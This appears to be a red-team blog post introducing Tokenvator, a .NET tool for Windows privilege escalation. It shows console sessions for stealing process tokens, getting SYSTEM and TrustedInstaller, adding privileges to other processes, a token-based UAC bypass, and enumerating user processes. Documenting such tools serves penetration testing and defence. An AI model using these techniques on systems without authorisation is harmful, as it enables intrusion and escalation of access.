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Tokenvator: A Tool to Elevate Privilege using Windows Tokens

Tokenvator: A Tool to Elevate Privilege using Windows Tokens

WheresMyImplant is a mini red team toolkit that I have been developing over the past year in .NET. While developing and using it, I found that I consistently needed to alter my process access token to do such things as SYSTEM permissions or add debug privileges to my process. The library used for this expanded to the point where it was as useful as an independent toolkit. This is why I created Tokenvator. It is a simple tool I wrote in .NET that can be used to elevate to the appropriate permissions on Windows. It works by impersonating or altering authentication tokens in processes that the executing process has the appropriate level of permissions to.

Tokenvator can be downloaded from https://github.com/0xbadjuju/Tokenvator from the releases section. Compiling instructions can be found on GitHub at the bottom of the page.

Basic Usage

Tokenvator can be run in an interactive prompt, or commands can be provided as command line arguments. In the interactive mode, base commands will tab complete, with double tabs providing context specific help.

C:Usersbadjuju>Tokenvator.exe
(Tokens) > help
Name                     Optional            Required
----                     --------            --------
GetSystem                Command             -
GetTrustedInstaller      Command             -
Steal_Token              Command             ProcessID
BypassUAC                ProcessID           Command
List_Privileges          ProcessID           -
Set_Privilege            ProcessID           Privilege
List_Processes           -                   -
List_Processes_WMI       -                   -
Find_User_Processes      -                   User
Find_User_Processes_WMI  -                   User
List_User_Sessions       -                   -
WhoAmI                   -                   -
RevertToSelf             -                   -
Run                      -                   Command

(Tokens) > WhoAmI
Name                     Optional            Required
----                     --------            --------
WhoAmI                   -                   -

(Tokens) > WhoAmI
[*] Operating as LABbadjuju

While most of the screenshots will show commands running from an interactive (Tokens) > prompt, it is possible to run all commands as an argument.

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Steal_Token

At it’s most basic level, Tokenvator is used to access and manipulate Windows authentication tokens. To appropriate the token of another process, we can run the Steal_Token command with the target process’s PID.

(Tokens) > Steal_Token
Name                     Optional            Required
----                     --------            --------
Steal_Token              Command             ProcessID

(Tokens) > Steal_Token 7384
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Impersonating 7384
[+] Recieved Handle for:  (7384)
[+] Process Handle: 824
[+] Primary Token Handle: 828
[+] Duplicate Token Handle: 824

(Tokens) > whoami
[*] Operating as labbackup

We can also optionally add a command to be run that will be launched with the new access token.

(Tokens) > Steal_Token 7384 powershell.exe
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[+] Recieved Handle for:  (7384)
[+] Process Handle: 860
[+] Primary Token Handle: 864
[+] Duplicate Token Handle: 860
[*] CreateProcessWithTokenW
[+] Created process: 14524
[+] Created thread: 18784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:WINDOWSsystem32> whoami
labbackup
PS C:WINDOWSsystem32> $pid
14524

GetSystem

The most common token I need to steal is for the NT AUTHORITYSYSTEM account. The GetSystem command was created as a wrapper for Steal_Token to automatically find and access SYSTEM tokens. It works with the same syntax as Steal_Token. Note: This needs to be run from an elevated context.

(Tokens) > GetSystem
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Searching for NT AUTHORITYSYSTEM
[*] Examining 344 processes
[*] Discovered 118 processes
[*] Impersonating 5488
[+] Recieved Handle for:  (5488)
[+] Process Handle: 888
[*] Impersonating 4444
[+] Recieved Handle for:  (4444)
[+] Process Handle: 868
[+] Primary Token Handle: 904
[+] Duplicate Token Handle: 868

(Tokens) > WhoAmI
[*] Operating as NT AUTHORITYSYSTEM

(Tokens) > RevertToSelf
[*] Reverted token to labbadjuju

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I’ve discovered that I am unable to directly access the token of certain processes unless I’ve first elevated to SYSTEM. Examples of the are the NT SERVICE accounts such as a local SQL service process. This might be necessary if the local SYSTEM account doesn’t have SYSADMIN privileges on the database. Scott Sutherland talks more about this in this blog.

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GetTrustedInstaller

It is common for the files in the SYSTEM32 folder or parts of the registry to be owned by the TRUSTEDINSTALLER group. To manipulate the contents of these locations, we can either take ownership or get an access token that has membership in the TRUSTEDINSTALLER group. Similar to GetSystem, GetTrustedInstaller is a wrapper for Steal_Token that starts the TrustedInstaller service and appropriates it’s token.

Img Af Cdd Cee

List_Privileges and Set_Privilege

Sometimes our process doesn’t have the particular access right that we need in order to complete a task. For instance, to access a process that your current user doesn’t own, the SeDebugPrivilege is required. Shown below is a split token in a high integrity process (UAC Elevated – TokenElevationTypeFull)

Img Af Ce Cc

And here we can see the default privileges assigned to a split token in a medium integrity process (UAC Not Elevated – TokenElevationTypeLimited)

Img Af D Dc Efc

For this functionality, we are not limited to just our own process Let’s examine what notepad.exe’s token looks like when run as administrator. Note: To access a process not owned by your current user, the SeDebugPrivilege must be enabled on your current process.

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Having examined notepad.exe’s token, we can remotely alter the privileges on it. Let’s add SeLoadDriverPrivilege to that token and see what happens.  Note: Privilege names are case sensitive.

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Sure enough, notepad.exe can now load a driver, for whatever interesting use case that might require that. In the future the ability to remove privileges will be added.

BypassUAC

UAC bypasses have become plentiful that this point, however one of the more interesting ones comes from manipulating tokens. FuzzySecurity has done some very interesting work on a UAC bypass method utilizing Windows tokens. Tokenvator includes an implementation of the technique he published. Below, our unprivileged token can be used to access an elevated process our current user owns and spawn an elevated shell.

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While this method likely will not be patched in the near future, it is not without its limitations. As can be seen below, while the process is high integrity, the privileges assigned to the token are still limited.

Finding User Processes

For finding a user on a system there are multiple methods for identification. Firstly, we can look at registered session on the system.

(Tokens) > List_User_Sessions
User                          SessionID
----                          ---------
0
badjuju                       1
backup                        2

One feature that I’ve wanted is the ability to have a summary view of user processes to get a sample of users and a process that they own. This is what the List_Processes command accomplishes.

(Tokens) > List_Processes
User                                    Process ID          Process Name
----                                    ----------          ------------
labbadjuju                             4000                conhost

List_Processes takes advantage of the native API’s on the host and is quite fast at listing a summary of processes and owners. As of now, it will not be able to function properly unless run from an elevated context. Because of this, List_Processes_WMI has been included. As the name might imply, this operates via WMI. While not as quick as List_Processes, it can provide a more thorough view from a non-elevated context.

(Tokens) > List_Processes_WMI
[*] Examining 102 processes
User                                    Process ID          Process Name
----                                    ----------          ------------
                                       0                   Idle
LABBADJUJU                             448                 taskhost
LOCALXBADJUJU                         1568                cmd

Or we can poll the system for for all processes running under the context of a particular user. Note: as of the initial release, the full username is required.

(Tokens) > Find_User_Processes WINDOWS7ENTERPRBADJUJU
[*] Examining 100 processes
[*] Discovered 29 processes
Process ID                    Process Name
----------                    ------------
3268                          calc
3520                          cmd
2604                          cmd
4000                          conhost
4664                          conhost
920                           conhost
1972                          conhost
4928                          conhost
2760                          conhost
656                           dwm
1776                          explorer
5048                          msvsmon
5352                          msvsmon
3412                          notepad
3552                          powershell
3116                          powershell_ise
2464                          rdpclip
4820                          rundotnetdll32
3944                          taskhost
448                           taskhost
3424                          Tokenvator
4892                          VCSExpress

Similarly to List_Processes a mechanism to accomplish the same task has been included via WMI. This will also work in an unelevated context.

(Tokens) > Find_User_Processes_WMI LOCALxBADJUJU
[*] Examining 102 processes
[*] Discovered 31 processes
Process ID                    Process Name
----------                    ------------
1568                          cmd.exe
2108                          conhost.exe
1936                          procexp64.exe
3544                          cmd.exe
3608                          conhost.exe
3892                          x64dbg.exe

I made this program for myself and the NetSPI team, but hopefully it will be useful to others.  If you have any bugs, commits, or feature requests let me know. All are welcome.

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